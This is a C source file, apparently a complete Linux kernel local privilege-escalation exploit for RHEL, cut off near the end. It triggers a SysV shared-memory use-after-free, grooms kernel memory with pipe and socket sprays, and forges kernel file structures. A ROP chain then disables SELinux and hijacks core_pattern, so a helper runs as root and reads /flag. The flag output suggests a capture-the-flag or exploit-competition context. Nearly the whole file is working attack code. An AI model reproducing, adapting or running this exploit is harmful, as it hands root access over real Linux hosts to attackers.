/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "known_page.h" #include "leak.h" #define KERNEL_BASE UINT64_C(0xffffffff81000000) #define RHEL_IMAGE_EDGE_BIAS UINT64_C(0) #define OFF_PUSH_RDI_POP_RSP UINT64_C(0x79b32a) #define OFF_POP_RAX UINT64_C(0x10c8b) #define OFF_POP_RSI UINT64_C(0x2c9) #define OFF_POP_RDI UINT64_C(0x1f6de1) #define OFF_WRITE_EAX4 UINT64_C(0x783a4) #define OFF_WRITE_MODE_0666 UINT64_C(0x8f32ce) #define OFF_DO_EXIT UINT64_C(0x14ce20) #define OFF_MSLEEP UINT64_C(0x243b60) #define OFF_INIT_IPC_NS UINT64_C(0x26b5c20) #define OFF_CORE_PATTERN_MODE UINT64_C(0x26b136c) #define OFF_SELINUX_STATE UINT64_C(0x344e760) #define IPC_TAIL 32767 #define SHMID_OBJECTS_PER_SLAB 16 #define HIGH_OBJECTS_PER_GROUP 8 #define CANDIDATE_GROUPS 2040 #define STALE_COUNT (CANDIDATE_GROUPS * HIGH_OBJECTS_PER_GROUP) #define DEFRAG_SLABS 64 #define DEFRAG_COUNT (SHMID_OBJECTS_PER_SLAB * DEFRAG_SLABS) #define FLUSH_SLABS 24 #define ALIGN_COUNT 14 #define KFENCE_FILL_COUNT 300 #define KFENCE_FILL_USEC 110000 #define SAFE_PIPE_SPRAY 8192 #define LATE_DRAIN_PAGES 10240 #define BRIDGE_CANDIDATES 10000 #define FINAL_FAKE_PAGES 8192 #define CALLBACK_SWEEP_ROUNDS 160 #define CALLBACK_SWEEP_USEC 50000 #define COLLATERAL_MEMFDS 60000 #define COLLATERAL_GUARD_STRIDE 8 #define SUPPORT_PAGE 2 #define TARGET_HIGH_PAGE SUPPORT_PAGE #define REFILL_COUNT STALE_COUNT #define ORDER3_HOLDERS 1024 #define ORDER3_PRESSURE 12000 #define ORDER3_RELEASE 640 #define EXPECTED_ORDER3_HOLDER 1 #define FRAG_LINEAR_LEN 3616 #define FRAG_SEND_LEN (FRAG_LINEAR_LEN + KNOWN_PAGE_BYTES) #define COMMON_FIRST_SLOT (SUPPORT_PAGE * SHMID_OBJECTS_PER_SLAB) #define COMMON_LAST_SLOT (COMMON_FIRST_SLOT + 14) #define COMMON_START (COMMON_FIRST_SLOT * 0x100UL) #define FAKE_SUPER (COMMON_START + 0x000) #define FAKE_DENTRY (COMMON_START + 0x600) #define FAKE_SHMEM_INFO (COMMON_START + 0x768) #define FAKE_INODE (FAKE_SHMEM_INFO + 0x98) #define FAKE_FOPS (COMMON_START + 0xa00) #define FAKE_FILE (COMMON_START + 0xc00) #define SHM_PERM_ID 0x08 #define SHM_PERM_MODE 0x20 #define SHM_PERM_SECURITY 0x30 #define SHM_PERM_REFCOUNT 0x50 #define SHM_FILE 0x80 #define SHM_NATTCH 0x88 #define SHM_SEGSZ 0x90 #define SHM_CPRID 0xb0 #define SHM_LPRID 0xb8 #define SHM_MLOCK_UCOUNTS 0xc0 #define SHM_CREATOR 0xc8 #define SHM_CLIST 0xd0 #define SHM_NS 0xe0 #define FILE_REF 0x00 #define FILE_LOCK 0x08 #define FILE_MODE 0x0c #define FILE_FOP 0x10 #define FILE_MAPPING 0x18 #define FILE_PRIVATE 0x20 #define FILE_INODE 0x28 #define FILE_FLAGS 0x30 #define FILE_IOCB_FLAGS 0x34 #define FILE_CRED 0x38 #define FILE_PATH_MNT 0x40 #define FILE_PATH_DENTRY 0x48 #define FILE_SECURITY 0x78 #define FILE_EP 0x90 #define DENTRY_INODE 0x30 #define DENTRY_SB 0x68 #define INODE_SB 0x28 #define INODE_MAPPING 0x30 #define INODE_FLCTX 0x168 #define SUPER_FSNOTIFY_INFO 0x3a8 #define FOPS_FLAGS 0x08 #define FOPS_RELEASE 0x78 #define SHM_DEST 01000 #define FMODE_OPENED (1U << 19) static uint64_t kernel_slide; static uint64_t known_page; static int safe_pipe_fds[SAFE_PIPE_SPRAY][2]; static int late_drain_fds[LATE_DRAIN_PAGES][2]; static int bridge_fds[BRIDGE_CANDIDATES][2]; static int final_fake_fds[FINAL_FAKE_PAGES][2]; static int order3_holder_fds[ORDER3_HOLDERS][2]; static int order3_pressure_fds[ORDER3_PRESSURE][2]; static int collateral_memfds[COLLATERAL_MEMFDS]; static int victim_ready_pipe[2]; static int victim_prepare_pipe[2]; static int victim_armed_pipe[2]; static int victim_allocate_pipe[2]; static int victim_live_pipe[2]; static int victim_exit_pipe[2]; static pid_t victim_pid = -1; static int victim_ns_fd = -1; static int safe_ns_fd = -1; static int safe_guard_queue = -1; static int victim_guard_queue = -1; static int defrag_ids[DEFRAG_COUNT]; static int align_ids[ALIGN_COUNT]; static int refill_ids[REFILL_COUNT]; static unsigned char anchor_template[KNOWN_PAGE_BYTES]; static int final_fake_written; static void die(const char *what) { perror(what); exit(EXIT_FAILURE); } static void write_all(int fd, const void *data, size_t length) { const unsigned char *cursor = data; while (length) { ssize_t done = write(fd, cursor, length); if (done < 0) { if (errno == EINTR) continue; die("write"); } cursor += done; length -= (size_t)done; } } static void write_text(const char *path, const char *text) { int fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) die(path); write_all(fd, text, strlen(text)); close(fd); } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) die("sched_setaffinity"); } static void drop_to_nobody_if_root(void) { if (geteuid() != 0) return; if (setgroups(0, NULL) < 0) die("setgroups"); if (setresgid(65534, 65534, 65534) < 0) die("setresgid"); if (setresuid(65534, 65534, 65534) < 0) die("setresuid"); if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("PR_SET_DUMPABLE"); } static void enter_user_ipc_namespaces(void) { char map[64]; uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER) < 0) die("unshare user"); write_text("/proc/self/setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", uid); write_text("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1\n", gid); write_text("/proc/self/gid_map", map); if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) die("namespace credentials"); if (unshare(CLONE_NEWIPC) < 0) die("unshare ipc"); printf("[+] user/ipc namespace ready uid=%u gid=%u\n", getuid(), getgid()); } static int new_segment(void) { int id = shmget(IPC_PRIVATE, 1, IPC_CREAT | 0600); if (id < 0) die("shmget"); return id; } static void set_next_id_fd(int fd) { static const char value[] = "32767\n"; if (lseek(fd, 0, SEEK_SET) < 0) die("lseek(shm_next_id)"); write_all(fd, value, sizeof(value) - 1); } static void consume_kfence_sample(int queue_id) { struct { long type; unsigned char text[400]; } message = { .type = 1 }, result; if (msgsnd(queue_id, &message, sizeof(message.text), 0) < 0) die("msgsnd(KFENCE guard)"); if (msgrcv(queue_id, &result, sizeof(result.text), 1, 0) != sizeof(result.text)) die("msgrcv(KFENCE guard)"); } static void victim_worker(void) { char token; int next_fd; int tail; pin_cpu(0); if (unshare(CLONE_NEWIPC) < 0) die("unshare(victim ipc)"); write_text("/proc/sys/kernel/shmmni", "32768\n"); write_text("/proc/sys/kernel/shm_rmid_forced", "1\n"); victim_guard_queue = msgget(IPC_PRIVATE, IPC_CREAT | 0600); if (victim_guard_queue < 0) die("msgget(victim guard)"); next_fd = open("/proc/sys/kernel/shm_next_id", O_WRONLY | O_CLOEXEC); if (next_fd < 0) die("open(victim shm_next_id)"); consume_kfence_sample(victim_guard_queue); set_next_id_fd(next_fd); tail = new_segment(); if (tail != IPC_TAIL) _exit(2); write_all(victim_ready_pipe[1], &victim_guard_queue, sizeof(victim_guard_queue)); if (read(victim_prepare_pipe[0], &token, 1) != 1) _exit(3); /* Take a pending KFENCE sample before the known bridge page is freed. */ consume_kfence_sample(victim_guard_queue); write_all(victim_armed_pipe[1], "A", 1); for (int group = 0; group < CANDIDATE_GROUPS; group++) { if (read(victim_allocate_pipe[0], &token, 1) != 1) _exit(4); for (int slot = 0; slot < HIGH_OBJECTS_PER_GROUP; slot++) { int i = group * HIGH_OBJECTS_PER_GROUP + slot; int guard; int id; /* * Allocate an ordinary live segment from the exact same * kmalloc-cg-256 callsite before every high-ID segment. A * pending KFENCE sample is therefore consumed by the live * guard rather than by an object that will become dangling. * The low/high pairs fill one 16-object slab per bridge page. */ guard = new_segment(); if (guard < 0) _exit(6); set_next_id_fd(next_fd); id = new_segment(); if (i == 0 || i == STALE_COUNT - 1) printf("[.] high[%d]=%d\n", i, id); if (id != IPC_TAIL + 1 + i) _exit(3); } write_all(victim_live_pipe[1], "L", 1); } if (read(victim_exit_pipe[0], &token, 1) != 1) _exit(5); close(next_fd); _exit(0); } static void prepare_victim_namespace(void) { char path[64]; if (pipe2(victim_ready_pipe, O_CLOEXEC) < 0 || pipe2(victim_prepare_pipe, O_CLOEXEC) < 0 || pipe2(victim_armed_pipe, O_CLOEXEC) < 0 || pipe2(victim_allocate_pipe, O_CLOEXEC) < 0 || pipe2(victim_live_pipe, O_CLOEXEC) < 0 || pipe2(victim_exit_pipe, O_CLOEXEC) < 0) die("pipe2(victim synchronization)"); victim_pid = fork(); if (victim_pid < 0) die("fork(victim)"); if (!victim_pid) victim_worker(); if (read(victim_ready_pipe[0], &victim_guard_queue, sizeof(victim_guard_queue)) != sizeof(victim_guard_queue)) die("read(victim ready)"); snprintf(path, sizeof(path), "/proc/%d/ns/ipc", victim_pid); victim_ns_fd = open(path, O_RDONLY | O_CLOEXEC); if (victim_ns_fd < 0) die("open(victim ipc namespace)"); printf("[+] victim namespace ready tail=%d guard=%d\n", IPC_TAIL, victim_guard_queue); } static void prepare_shmid_defragmentation(void) { for (int i = 0; i < DEFRAG_COUNT; i++) { consume_kfence_sample(safe_guard_queue); defrag_ids[i] = new_segment(); if (defrag_ids[i] != i) { fprintf(stderr, "unexpected defrag id[%d]=%d\n", i, defrag_ids[i]); exit(EXIT_FAILURE); } } printf("[+] filled %d shmid objects across %d grooming slabs\n", DEFRAG_COUNT, DEFRAG_SLABS); } static void hold_kfence_pool(void) { /* * Stock RHEL samples one KFENCE allocation every 100 ms and provides 255 * guarded objects. Keep more than a full pool of ordinary, valid shmid * objects alive in the safe namespace before creating any dangling high * IDs. This prevents a stale object from remaining trapped on a KFENCE * page, which cannot participate in the later controlled-page reclaim. */ for (int i = 0; i < KFENCE_FILL_COUNT; i++) { usleep(KFENCE_FILL_USEC); (void)new_segment(); } printf("[+] held %d timed shmid guards to saturate the KFENCE pool\n", KFENCE_FILL_COUNT); } static void free_defrag_except_guards(void) { for (int slab = 0; slab < DEFRAG_SLABS; slab++) { for (int slot = 1; slot < SHMID_OBJECTS_PER_SLAB; slot++) { int index = slab * SHMID_OBJECTS_PER_SLAB + slot; if (shmctl(defrag_ids[index], IPC_RMID, NULL) < 0) die("shmctl(defrag partial)"); defrag_ids[index] = -1; } } /* These frees use call_rcu(); wait until the nearly-empty grooming slabs * have populated both the per-CPU and per-node partial lists. */ usleep(500000); } static void flush_defrag_guards(void) { int flushed = 0; for (int slab = 8; slab < DEFRAG_SLABS && flushed < FLUSH_SLABS; slab++) { int index = slab * SHMID_OBJECTS_PER_SLAB; if (defrag_ids[index] < 0) continue; if (shmctl(defrag_ids[index], IPC_RMID, NULL) < 0) die("shmctl(defrag flush)"); defrag_ids[index] = -1; flushed++; } usleep(500000); printf("[+] flushed %d shmid partial-slab guards\n", flushed); } static int root_helper(const char *pid_string) { char flag[4096]; int pid = atoi(pid_string); int pfd = syscall(SYS_pidfd_open, pid, 0); int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0); int fd = open("/flag", O_RDONLY | O_CLOEXEC); int proof = open("/tmp/.fa0b-proof", O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0644); ssize_t length; if (out >= 0) dup2(out, STDOUT_FILENO); if (fd < 0) return 1; write_all(STDOUT_FILENO, "RHEL_FLAG_OK\n", 13); if (proof >= 0) write_all(proof, "RHEL_FLAG_OK\n", 13); length = read(fd, flag, sizeof(flag)); if (length > 0) { char *zero = memchr(flag, 0, (size_t)length); if (zero) length = zero - flag; write_all(STDOUT_FILENO, flag, (size_t)length); if (proof >= 0) write_all(proof, flag, (size_t)length); if (!length || flag[length - 1] != '\n') { write_all(STDOUT_FILENO, "\n", 1); if (proof >= 0) write_all(proof, "\n", 1); } } if (proof >= 0) close(proof); close(fd); return 0; } static void prepare_regular_helper(void) { int self = open("/proc/self/exe", O_RDONLY | O_CLOEXEC); int helper = open("/tmp/.fa0b-helper", O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0700); if (self < 0 || helper < 0) die("prepare helper"); if (sendfile(helper, self, NULL, 1U << 30) < 0) die("sendfile helper"); if (fchmod(helper, 0755) < 0) die("fchmod helper"); close(helper); close(self); } static int selinux_is_disabled(void) { char enforcing = '1'; int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC); if (fd < 0) return 0; (void)!read(fd, &enforcing, 1); close(fd); return enforcing == '0'; } __attribute__((noreturn)) static void watch_payload_ready(void) { static const char pattern[] = "|/tmp/.fa0b-helper %P"; char proof[4096]; int fd; pid_t child; pin_cpu(1); while (!selinux_is_disabled()) usleep(10000); puts("[+] selinux enforcing is disabled"); while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY | O_CLOEXEC)) < 0) usleep(10000); write_all(fd, pattern, sizeof(pattern) - 1); close(fd); puts("[+] core_pattern is writable"); child = fork(); if (child < 0) _exit(1); if (!child) { *(volatile unsigned long *)0 = 0; _exit(1); } (void)waitpid(child, NULL, 0); for (int attempt = 0; attempt < 500; attempt++) { ssize_t got; fd = open("/tmp/.fa0b-proof", O_RDONLY | O_CLOEXEC); if (fd < 0) { usleep(10000); continue; } got = read(fd, proof, sizeof(proof)); close(fd); if (got > 0) { write_all(STDOUT_FILENO, proof, (size_t)got); _exit(0); } usleep(10000); } _exit(1); } static void prepare_safe_pipes(void) { struct rlimit limit; if (getrlimit(RLIMIT_NOFILE, &limit) < 0) die("getrlimit(RLIMIT_NOFILE)"); limit.rlim_cur = limit.rlim_max; if (setrlimit(RLIMIT_NOFILE, &limit) < 0) die("setrlimit(RLIMIT_NOFILE)"); printf("[+] prepared file descriptor limit\n"); } static void spray_order3_pages(int fds[][2], int count, uint64_t tag, const char *label) { unsigned char *page = calloc(1, KNOWN_PAGE_BYTES); unsigned char *buffer = calloc(1, FRAG_SEND_LEN); struct iovec iov = { .iov_base = buffer, .iov_len = FRAG_SEND_LEN }; struct msghdr message = { .msg_iov = &iov, .msg_iovlen = 1 }; if (!page || !buffer) die("calloc(order3 spray)"); for (size_t base = 0; base < KNOWN_PAGE_BYTES; base += 0x100) { uint64_t marker = 1; memcpy(page + base + SHM_NATTCH, &marker, sizeof(marker)); memcpy(page + base + SHM_CLIST, &marker, sizeof(marker)); } for (int i = 0; i < count; i++) { uint64_t marker = tag | (uint32_t)i; ssize_t sent; memcpy(page, &marker, sizeof(marker)); memcpy(buffer + FRAG_LINEAR_LEN, page, KNOWN_PAGE_BYTES); if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, fds[i]) < 0) die("socketpair(order3)"); sent = sendmsg(fds[i][0], &message, 0); if (sent != FRAG_SEND_LEN) die("sendmsg(order3)"); } free(buffer); free(page); printf("[+] held %d %s order-3 fragment pages\n", count, label); } static void release_order3_holder(void) { close(order3_holder_fds[EXPECTED_ORDER3_HOLDER][0]); close(order3_holder_fds[EXPECTED_ORDER3_HOLDER][1]); order3_holder_fds[EXPECTED_ORDER3_HOLDER][0] = -1; order3_holder_fds[EXPECTED_ORDER3_HOLDER][1] = -1; for (int i = 0; i < ORDER3_RELEASE; i++) { close(order3_pressure_fds[i][0]); close(order3_pressure_fds[i][1]); order3_pressure_fds[i][0] = -1; order3_pressure_fds[i][1] = -1; } printf("[+] released expected holder %d plus %d newer order-3 pages\n", EXPECTED_ORDER3_HOLDER, ORDER3_RELEASE); } static void spray_late_order0_drain(void) { unsigned char page[4096] = {0}; for (size_t base = 0; base < sizeof(page); base += 0x100) { uint64_t marker = 1; memcpy(page + base + SHM_NATTCH, &marker, sizeof(marker)); memcpy(page + base + SHM_CLIST, &marker, sizeof(marker)); } for (int i = 0; i < LATE_DRAIN_PAGES; i++) write_all(late_drain_fds[i][1], page, sizeof(page)); printf("[+] held %d late order-0 drain pages at peak pressure\n", LATE_DRAIN_PAGES); } static void release_bulk_order3_pages(void) { for (int i = 0; i < ORDER3_HOLDERS; i++) { if (order3_holder_fds[i][0] < 0) continue; close(order3_holder_fds[i][0]); close(order3_holder_fds[i][1]); order3_holder_fds[i][0] = -1; order3_holder_fds[i][1] = -1; } for (int i = 0; i < ORDER3_PRESSURE; i++) { if (order3_pressure_fds[i][0] < 0) continue; close(order3_pressure_fds[i][0]); close(order3_pressure_fds[i][1]); order3_pressure_fds[i][0] = -1; order3_pressure_fds[i][1] = -1; } for (int i = 0; i < LATE_DRAIN_PAGES; i++) { close(late_drain_fds[i][0]); close(late_drain_fds[i][1]); late_drain_fds[i][0] = -1; late_drain_fds[i][1] = -1; } printf("[+] released bulk order-3 holders after bridge capture\n"); } static void spray_final_fake_pages_to(int target) { if (target > FINAL_FAKE_PAGES) target = FINAL_FAKE_PAGES; while (final_fake_written < target) { write_all(final_fake_fds[final_fake_written][1], anchor_template + TARGET_HIGH_PAGE * 4096, 4096); final_fake_written++; } } static void prepare_file_collateral_freelists(void) { for (int i = 0; i < COLLATERAL_MEMFDS; i++) { collateral_memfds[i] = memfd_create("shmid-collateral", MFD_CLOEXEC); if (collateral_memfds[i] < 0) die("memfd_create(collateral)"); } for (int i = 0; i < COLLATERAL_MEMFDS; i++) { if (!(i % COLLATERAL_GUARD_STRIDE)) continue; close(collateral_memfds[i]); collateral_memfds[i] = -1; } /* Keep one object per small group so filp, inode and LSM slabs remain * partial while the high stream and its same-callsite refill cycle. */ usleep(500000); printf("[+] prepared %d file/inode collateral objects with 1/%d guards\n", COLLATERAL_MEMFDS, COLLATERAL_GUARD_STRIDE); } static void sweep_callback_window(void) { spray_final_fake_pages_to(1024); for (int round = 0; round < CALLBACK_SWEEP_ROUNDS; round++) { usleep(CALLBACK_SWEEP_USEC); spray_final_fake_pages_to(1024 + (round + 1) * (FINAL_FAKE_PAGES - 1024) / CALLBACK_SWEEP_ROUNDS); } printf("[+] swept %d fake-safe pages across the high-ID callback window\n", final_fake_written); } static void stale_reclaim_hook(void *unused) { char token; int status; (void)unused; /* First capture the still-compound known block with an order-3 skb * fragment. Releasing that holder behind newer order-3 pages moves the * block from high-order PCP to the buddy allocator, where the bridge can * split it into individually releasable order-0 pages. */ spray_order3_pages(order3_holder_fds, ORDER3_HOLDERS, UINT64_C(0xfeed000000000000), "candidate"); spray_order3_pages(order3_pressure_fds, ORDER3_PRESSURE, UINT64_C(0xbeef000000000000), "pressure"); spray_late_order0_drain(); #ifdef DEBUG_ORDER3 puts("[D] ORDER3_HOLDER_LIVE"); sleep(60); #endif release_order3_holder(); /* Split the released known order-3 block with individually reclaimable * pipe pages. Every bridge page carries the support-page template, so * the retained known subpage is usable independently of its ordinal. */ for (int i = 0; i < BRIDGE_CANDIDATES; i++) { uint64_t marker = UINT64_C(0xb16d000000000000) | (uint32_t)i; memcpy(anchor_template + SUPPORT_PAGE * 4096, &marker, sizeof(marker)); write_all(bridge_fds[i][1], anchor_template + SUPPORT_PAGE * 4096, 4096); } #ifdef DEBUG_BRIDGE puts("[D] PIPE_BRIDGE_LIVE"); sleep(60); #endif release_bulk_order3_pages(); prepare_file_collateral_freelists(); printf("[+] arming %d bridge candidates for a self-contained page %d target\n", CANDIDATE_GROUPS, TARGET_HIGH_PAGE); /* Defer the intentional low-ID leak until after address discovery. CPU1 * isolates it from the CPU0 slabs used by the high-ID population. */ pin_cpu(1); if (setns(victim_ns_fd, CLONE_NEWIPC) < 0) die("setns(victim sentinel)"); consume_kfence_sample(victim_guard_queue); if (new_segment() != 0) die("victim sentinel id"); if (setns(safe_ns_fd, CLONE_NEWIPC) < 0) die("setns(safe after sentinel)"); pin_cpu(0); write_all(victim_prepare_pipe[1], "P", 1); if (read(victim_armed_pipe[0], &token, 1) != 1 || token != 'A') die("read(victim armed)"); for (int group = 0; group < CANDIDATE_GROUPS; group++) { close(bridge_fds[group][0]); close(bridge_fds[group][1]); bridge_fds[group][0] = -1; bridge_fds[group][1] = -1; write_all(victim_allocate_pipe[1], "G", 1); if (read(victim_live_pipe[0], &token, 1) != 1 || token != 'L') die("read(victim group live)"); } printf("[+] directed %d high objects across %d released candidates\n", STALE_COUNT, CANDIDATE_GROUPS); #ifdef DEBUG_BRIDGE puts("[D] FIRST_KEY_HIGH_LIVE"); sleep(30); #endif /* Candidate placement is complete. These older pages are no longer * allowed to compete with the later stale-slab reclaim. */ for (int i = CANDIDATE_GROUPS; i < BRIDGE_CANDIDATES; i++) { close(bridge_fds[i][0]); close(bridge_fds[i][1]); bridge_fds[i][0] = -1; bridge_fds[i][1] = -1; } for (int i = 0; i < SAFE_PIPE_SPRAY; i++) { close(safe_pipe_fds[i][0]); close(safe_pipe_fds[i][1]); safe_pipe_fds[i][0] = -1; safe_pipe_fds[i][1] = -1; } free_defrag_except_guards(); write_all(victim_exit_pipe[1], "X", 1); while (waitpid(victim_pid, &status, 0) < 0) { if (errno != EINTR) die("waitpid(victim)"); } if (!WIFEXITED(status) || WEXITSTATUS(status)) { fprintf(stderr, "victim status=%#x\n", status); exit(EXIT_FAILURE); } /* exit_shm() releases through call_rcu(). Reclaim pages continuously as * callbacks arrive instead of leaving them exposed to unrelated caches * during a fixed grace-period sleep. The page image is scan-safe unless * it lands at the selected physical target. */ sweep_callback_window(); flush_defrag_guards(); printf("[+] sprayed %d self-addressed fake pages for target %#llx\n", final_fake_written, (unsigned long long)(known_page + TARGET_HIGH_PAGE * 4096)); for (int i = 0; i < REFILL_COUNT; i++) { consume_kfence_sample(safe_guard_queue); refill_ids[i] = new_segment(); } printf("[+] installed %d live same-cache guards for pre-target stale keys\n", REFILL_COUNT); #ifdef DEBUG_BRIDGE puts("[D] FIRST_KEY_FAKE_LIVE"); sleep(30); #endif } static void put64(unsigned char *page, size_t offset, uint64_t value) { if (offset + sizeof(value) > KNOWN_PAGE_BYTES) { errno = EOVERFLOW; die("known-page qword"); } memcpy(page + offset, &value, sizeof(value)); } static void put32(unsigned char *page, size_t offset, uint32_t value) { if (offset + sizeof(value) > KNOWN_PAGE_BYTES) { errno = EOVERFLOW; die("known-page dword"); } memcpy(page + offset, &value, sizeof(value)); } static void build_known_page(unsigned char *page, uint64_t page_address, void *argument) { uint64_t slide = *(uint64_t *)argument; uint64_t kbase = KERNEL_BASE + slide; uint64_t fake_file = page_address + FAKE_FILE; uint64_t fake_fops = page_address + FAKE_FOPS; uint64_t fake_inode = page_address + FAKE_INODE; uint64_t fake_dentry = page_address + FAKE_DENTRY; uint64_t fake_super = page_address + FAKE_SUPER; uint64_t init_ipc_ns = kbase + OFF_INIT_IPC_NS; uint64_t *chain; known_page = page_address; memset(page, 0, KNOWN_PAGE_BYTES); for (size_t base = 0; base < KNOWN_PAGE_BYTES; base += 0x100) { uint64_t head = page_address + base + SHM_CLIST; if (base / 0x100 >= COMMON_FIRST_SLOT && base / 0x100 <= COMMON_LAST_SLOT) continue; put32(page, base + SHM_PERM_ID, IPC_TAIL); put32(page, base + SHM_PERM_MODE, SHM_DEST); put64(page, base + SHM_PERM_SECURITY, 0); put32(page, base + SHM_PERM_REFCOUNT, 2); put64(page, base + SHM_FILE, fake_file); put64(page, base + SHM_NATTCH, 0); put64(page, base + SHM_SEGSZ, 0); put64(page, base + SHM_CPRID, 0); put64(page, base + SHM_LPRID, 0); put64(page, base + SHM_MLOCK_UCOUNTS, 0); put64(page, base + SHM_CREATOR, 0); put64(page, base + SHM_CLIST, head); put64(page, base + SHM_CLIST + 8, head); put64(page, base + SHM_NS, init_ipc_ns); } /* RHEL 6.12 keeps file_ref_t at file offset zero. Leave its one-reference * encoding at zero so fput() schedules __fput(), and set only * FMODE_OPENED before the forged release callback. */ put64(page, FAKE_FILE + FILE_REF, 0); put32(page, FAKE_FILE + FILE_LOCK, 0); put32(page, FAKE_FILE + FILE_MODE, FMODE_OPENED); put64(page, FAKE_FILE + FILE_FOP, fake_fops); put64(page, FAKE_FILE + FILE_MAPPING, 0); put64(page, FAKE_FILE + FILE_PRIVATE, 0); put64(page, FAKE_FILE + FILE_INODE, fake_inode); put32(page, FAKE_FILE + FILE_FLAGS, 0); put32(page, FAKE_FILE + FILE_IOCB_FLAGS, 0); put64(page, FAKE_FILE + FILE_CRED, 0); put64(page, FAKE_FILE + FILE_PATH_MNT, 0); put64(page, FAKE_FILE + FILE_PATH_DENTRY, fake_dentry); put64(page, FAKE_FILE + FILE_SECURITY, 0); put64(page, FAKE_FILE + FILE_EP, 0); put64(page, FAKE_DENTRY + DENTRY_INODE, fake_inode); put64(page, FAKE_DENTRY + DENTRY_SB, fake_super); put64(page, FAKE_INODE + INODE_SB, fake_super); put64(page, FAKE_INODE + INODE_MAPPING, 0); put64(page, FAKE_INODE + INODE_FLCTX, 0); put64(page, FAKE_SUPER + SUPER_FSNOTIFY_INFO, 0); /* release(inode, file) supplies the fake inode in RDI. The exact RHEL * pivot executes `push rdi; pop rsp; add rsp,0x18`, restores six registers * from controlled inode words, and returns through qword +0x48. This * avoids overlapping the live file_ref_t at fake_file offset zero. */ chain = (uint64_t *)(page + FAKE_FOPS); chain[FOPS_RELEASE / 8] = kbase + OFF_PUSH_RDI_POP_RSP; put64(page, FAKE_INODE + 0x48, kbase + OFF_POP_RAX); put64(page, FAKE_INODE + 0x50, 0); put64(page, FAKE_INODE + 0x58, kbase + OFF_POP_RSI); put64(page, FAKE_INODE + 0x60, kbase + OFF_SELINUX_STATE); put64(page, FAKE_INODE + 0x68, kbase + OFF_WRITE_EAX4); put64(page, FAKE_INODE + 0x70, kbase + OFF_POP_RSI); put64(page, FAKE_INODE + 0x78, kbase + OFF_CORE_PATTERN_MODE); put64(page, FAKE_INODE + 0x80, kbase + OFF_WRITE_MODE_0666); put64(page, FAKE_INODE + 0x88, kbase + OFF_POP_RDI); put64(page, FAKE_INODE + 0x90, 15000); put64(page, FAKE_INODE + 0x98, kbase + OFF_MSLEEP); put64(page, FAKE_INODE + 0xa0, kbase + OFF_DO_EXIT); /* Any stale pointer landing in a common-structure slot must be skipped * by shm_try_destroy_orphaned instead of interpreting that structure. */ for (size_t slot = COMMON_FIRST_SLOT; slot <= COMMON_LAST_SLOT; slot++) put64(page, slot * 0x100 + SHM_CLIST, 1); memcpy(anchor_template, page, KNOWN_PAGE_BYTES); printf("[+] fake shmid page=%#llx file=%#llx fops=%#llx\n", (unsigned long long)page_address, (unsigned long long)fake_file, (unsigned long long)fake_fops); } static void spray_safe_order0_pages(void *unused) { unsigned char page[4096] = {0}; (void)unused; for (size_t base = 0; base < sizeof(page); base += 0x100) { uint64_t marker = 1; memcpy(page + base + SHM_NATTCH, &marker, sizeof(marker)); memcpy(page + base + SHM_CLIST, &marker, sizeof(marker)); } for (int i = 0; i < SAFE_PIPE_SPRAY; i++) { if (pipe2(safe_pipe_fds[i], O_CLOEXEC) < 0) die("pipe2(safe page)"); write_all(safe_pipe_fds[i][1], page, sizeof(page)); } /* Create the later holders after address discovery but before releasing * the recovered mm slab. Their metadata cannot steal its physical page. */ for (int i = 0; i < BRIDGE_CANDIDATES; i++) if (pipe2(bridge_fds[i], O_CLOEXEC) < 0) die("pipe2(bridge page)"); for (int i = 0; i < LATE_DRAIN_PAGES; i++) if (pipe2(late_drain_fds[i], O_CLOEXEC) < 0) die("pipe2(late drain page)"); for (int i = 0; i < FINAL_FAKE_PAGES; i++) if (pipe2(final_fake_fds[i], O_CLOEXEC) < 0) die("pipe2(final fake page)"); printf("[+] held %d pre-release order-0 pages; prepared %d+%d+%d later holders\n", SAFE_PIPE_SPRAY, LATE_DRAIN_PAGES, BRIDGE_CANDIDATES, FINAL_FAKE_PAGES); } /* Exercise only the invalid high-index SysV IPC lifetime. The child creates * index 32767 and then the out-of-range 32768 object in its private IPC * namespace. Forced teardown frees the high object through the truncated * public ID while its real IDR slot remains reachable. No address leak, * allocator bridge, reclaim payload, fake object, callback, or ROP is used. */ static int run_vuln_trigger(void) { pid_t pid; int status; drop_to_nobody_if_root(); enter_user_ipc_namespaces(); pid = fork(); if (pid < 0) die("fork(trigger)"); if (!pid) { int next_fd; int tail, high; if (unshare(CLONE_NEWIPC) < 0) die("unshare(trigger ipc)"); write_text("/proc/sys/kernel/shmmni", "32768\n"); write_text("/proc/sys/kernel/shm_rmid_forced", "1\n"); next_fd = open("/proc/sys/kernel/shm_next_id", O_WRONLY | O_CLOEXEC); if (next_fd < 0) die("open(trigger shm_next_id)"); set_next_id_fd(next_fd); tail = new_segment(); set_next_id_fd(next_fd); high = new_segment(); printf("[trigger] tail=%d out_of_range=%d\n", tail, high); if (tail != IPC_TAIL || high != IPC_TAIL + 1) _exit(2); close(next_fd); _exit(0); } while (waitpid(pid, &status, 0) < 0) if (errno != EINTR) die("waitpid(trigger)"); if (!WIFEXITED(status) || WEXITSTATUS(status)) return 